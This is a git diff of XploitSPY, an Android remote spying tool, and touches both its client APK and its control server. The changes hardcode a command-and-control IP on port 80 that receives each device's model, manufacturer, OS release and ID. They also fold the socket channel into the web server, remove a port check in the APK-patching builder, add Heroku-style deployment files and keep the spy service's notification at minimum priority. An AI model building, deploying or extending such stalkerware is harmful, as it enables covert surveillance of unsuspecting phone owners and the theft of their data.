diff --git a/client/app/release/app-release.apk b/client/app/release/app-release.apk
index e28cf48..9de703f 100644
Binary files a/client/app/release/app-release.apk and b/client/app/release/app-release.apk differ
diff --git a/client/app/src/main/java/com/remote/app/IOSocket.java b/client/app/src/main/java/com/remote/app/IOSocket.java
index 7d48b58..619c946 100644
--- a/client/app/src/main/java/com/remote/app/IOSocket.java
+++ b/client/app/src/main/java/com/remote/app/IOSocket.java
@@ -21,7 +21,7 @@ public class IOSocket {
opts.reconnectionDelay = 5000;
opts.reconnectionDelayMax = 999999999;
- ioSocket = IO.socket("http://47.91.41.155:22222?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
+ ioSocket = IO.socket("http://47.91.41.155:80?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
} catch (URISyntaxException e) {
e.printStackTrace();
}
diff --git a/client/app/src/main/java/com/remote/app/MainService.java b/client/app/src/main/java/com/remote/app/MainService.java
index d6c6d8d..e8caacc 100644
--- a/client/app/src/main/java/com/remote/app/MainService.java
+++ b/client/app/src/main/java/com/remote/app/MainService.java
@@ -145,7 +145,7 @@ public class MainService extends Service {
.setPriority(NotificationManager.IMPORTANCE_MIN)
.setCategory(Notification.CATEGORY_SERVICE)
.build();
- startForeground(2, notification);
+ startForeground(1, notification);
}
diff --git a/client/client.iml b/client/client.iml
index 7be0571..2304873 100644
--- a/client/client.iml
+++ b/client/client.iml
@@ -12,7 +12,6 @@
-
diff --git a/server/Procfile b/server/Procfile
new file mode 100644
index 0000000..24a0a8f
--- /dev/null
+++ b/server/Procfile
@@ -0,0 +1 @@
+‘web: ./node_modules/.bin/forever -m 5 index.js’
diff --git a/server/app/factory/app-release.apk b/server/app/factory/app-release.apk
index e28cf48..9de703f 100644
Binary files a/server/app/factory/app-release.apk and b/server/app/factory/app-release.apk differ
diff --git a/server/app/factory/decompiled/apktool.yml b/server/app/factory/decompiled/apktool.yml
index 59e9b87..a0aedff 100644
--- a/server/app/factory/decompiled/apktool.yml
+++ b/server/app/factory/decompiled/apktool.yml
@@ -3,6 +3,9 @@ apkFileName: app-release.apk
compressionType: false
doNotCompress:
- resources.arsc
+- META-INF/android.arch.lifecycle_runtime.version
+- META-INF/androidx.core_core.version
+- META-INF/androidx.versionedparcelable_versionedparcelable.version
- png
isFrameworkApk: false
packageInfo:
diff --git a/server/app/factory/decompiled/original/META-INF/CERT.RSA b/server/app/factory/decompiled/original/META-INF/CERT.RSA
index 2d8dc3b..084c9c3 100644
Binary files a/server/app/factory/decompiled/original/META-INF/CERT.RSA and b/server/app/factory/decompiled/original/META-INF/CERT.RSA differ
diff --git a/server/app/factory/decompiled/original/META-INF/CERT.SF b/server/app/factory/decompiled/original/META-INF/CERT.SF
index 33fe0f7..f1ab235 100644
--- a/server/app/factory/decompiled/original/META-INF/CERT.SF
+++ b/server/app/factory/decompiled/original/META-INF/CERT.SF
@@ -1,6 +1,6 @@
Signature-Version: 1.0
Created-By: 1.0 (Android)
-SHA1-Digest-Manifest: IHujA2NGKYWz+3kPuDWmNrScZo4=
+SHA1-Digest-Manifest: Br7KZuMlRvkujFIEcFUfc9JLJHM=
Name: AndroidManifest.xml
SHA1-Digest: hMY5UmKutb2cZY4afr084GSFwLk=
@@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
SHA1-Digest: /M5ZcCUkGpD9LMU3LB/ji4SqKws=
Name: classes.dex
-SHA1-Digest: YrT0vt4yEPhLbLEfpMIXvaRwR4s=
+SHA1-Digest: CimfIcRvl0JGoxRUHDbve9dy95o=
Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
SHA1-Digest: GqlxeUYi9nderviC+XwD6tRD5Kg=
diff --git a/server/app/factory/decompiled/original/META-INF/MANIFEST.MF b/server/app/factory/decompiled/original/META-INF/MANIFEST.MF
index c7966d2..3349b83 100644
--- a/server/app/factory/decompiled/original/META-INF/MANIFEST.MF
+++ b/server/app/factory/decompiled/original/META-INF/MANIFEST.MF
@@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
SHA1-Digest: xTi2bHEQyjoCjM/kItDx+iAKmTU=
Name: classes.dex
-SHA1-Digest: wKQ2CNuIgrZukBhVZNdy/5+Z4wA=
+SHA1-Digest: ItDW7U9v+mbVk1bCaAtUqtsDPBQ=
Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
SHA1-Digest: D2PhKM51tYZo8a79riJ3XiUD2nc=
diff --git a/server/app/factory/decompiled/smali/com/remote/app/MainService.smali b/server/app/factory/decompiled/smali/com/remote/app/MainService.smali
index 64a1c0f..f6293f3 100644
--- a/server/app/factory/decompiled/smali/com/remote/app/MainService.smali
+++ b/server/app/factory/decompiled/smali/com/remote/app/MainService.smali
@@ -67,16 +67,14 @@
invoke-virtual {v0, v1}, Landroid/support/v4/app/d$b;->a(I)Landroid/support/v4/app/d$b;
- const-string v1, "service"
+ const-string v2, "service"
- invoke-virtual {v0, v1}, Landroid/support/v4/app/d$b;->a(Ljava/lang/String;)Landroid/support/v4/app/d$b;
+ invoke-virtual {v0, v2}, Landroid/support/v4/app/d$b;->a(Ljava/lang/String;)Landroid/support/v4/app/d$b;
invoke-virtual {v0}, Landroid/support/v4/app/d$b;->a()Landroid/app/Notification;
move-result-object v0
- const/4 v1, 0x2
-
invoke-virtual {p0, v1, v0}, Landroid/app/Service;->startForeground(ILandroid/app/Notification;)V
return-void
diff --git a/server/assets/views/builder.ejs b/server/assets/views/builder.ejs
index 4737586..a4f8aa4 100644
--- a/server/assets/views/builder.ejs
+++ b/server/assets/views/builder.ejs
@@ -71,7 +71,7 @@
var isDone = false;
$('#gobuild').click((e) => {
$('#dimmer').addClass('active');
- build($('#uriInput').val(), "22222");
+ build($('#uriInput').val(), "80");
setTimeout(loaderText, 500);
});
diff --git a/server/includes/apkBuilder.js b/server/includes/apkBuilder.js
index 5e79852..a241cd6 100644
--- a/server/includes/apkBuilder.js
+++ b/server/includes/apkBuilder.js
@@ -20,7 +20,7 @@ function javaversion(callback) {
}
function patchAPK(URI, PORT, cb) {
- if (PORT < 25565) {
+ // if (PORT < 25565) {
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
if (err) return cb('File Patch Error - READ')
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "http://" + URI + ":" + PORT);
@@ -29,7 +29,7 @@ function patchAPK(URI, PORT, cb) {
else return cb(false)
});
});
- }
+ // }
}
function buildAPK(cb) {
diff --git a/server/includes/const.js b/server/includes/const.js
index b5bc977..2dff5a0 100644
--- a/server/includes/const.js
+++ b/server/includes/const.js
@@ -2,7 +2,7 @@ const path = require('path');
exports.debug = false;
-exports.web_port = 22533;
+exports.web_port = 80;
exports.control_port = 22222;
// Paths
diff --git a/server/includes/expressRoutes.js b/server/includes/expressRoutes.js
index fa34727..38bfb1a 100644
--- a/server/includes/expressRoutes.js
+++ b/server/includes/expressRoutes.js
@@ -75,7 +75,7 @@ routes.get('/logout', isAllowed, (req, res) => {
routes.get('/builder', isAllowed, (req, res) => {
res.render('builder', {
- myPort: CONST.control_port
+ myPort: process.env.PORT || CONST.web_port
});
});
diff --git a/server/index.js b/server/index.js
index 7bd5fd5..d374913 100644
--- a/server/index.js
+++ b/server/index.js
@@ -8,7 +8,8 @@
const
express = require('express'),
app = express(),
- IO = require('socket.io'),
+ server = require('http').createServer(app),
+ IO = require('socket.io')(server),
geoip = require('geoip-lite'),
CONST = require('./includes/const'),
db = require('./includes/databaseGateway'),
@@ -24,10 +25,11 @@ global.clientManager = clientManager;
global.apkBuilder = apkBuilder;
// spin up socket server
-let client_io = IO.listen(CONST.control_port);
+// let client_io = IO.listen(CONST.control_port);
-client_io.sockets.pingInterval = 30000;
-client_io.on('connection', (socket) => {
+// client_io.sockets.pingInterval = 30000;
+IO.sockets.pingInterval = 30000;
+IO.on('connection', (socket) => {
socket.emit('welcome');
let clientParams = socket.handshake.query;
let clientAddress = socket.request.connection;
@@ -65,7 +67,8 @@ client_io.on('connection', (socket) => {
// get the admin interface online
-app.listen(CONST.web_port);
+// app.listen(CONST.web_port);
+server.listen(process.env.PORT || CONST.web_port)
app.set('view engine', 'ejs');
app.set('views', './assets/views');
diff --git a/server/package.json b/server/package.json
index 1f2c10a..87fb764 100644
--- a/server/package.json
+++ b/server/package.json
@@ -4,6 +4,7 @@
"description": "XploitSPY - Remote Android Spying Tool",
"main": "index.js",
"scripts": {
+ "start": "node index.js",
"test": "node index.js"
},
"author": "ETechD",
diff --git a/server/system.properties b/server/system.properties
new file mode 100644
index 0000000..9146af5
--- /dev/null
+++ b/server/system.properties
@@ -0,0 +1 @@
+java.runtime.version=11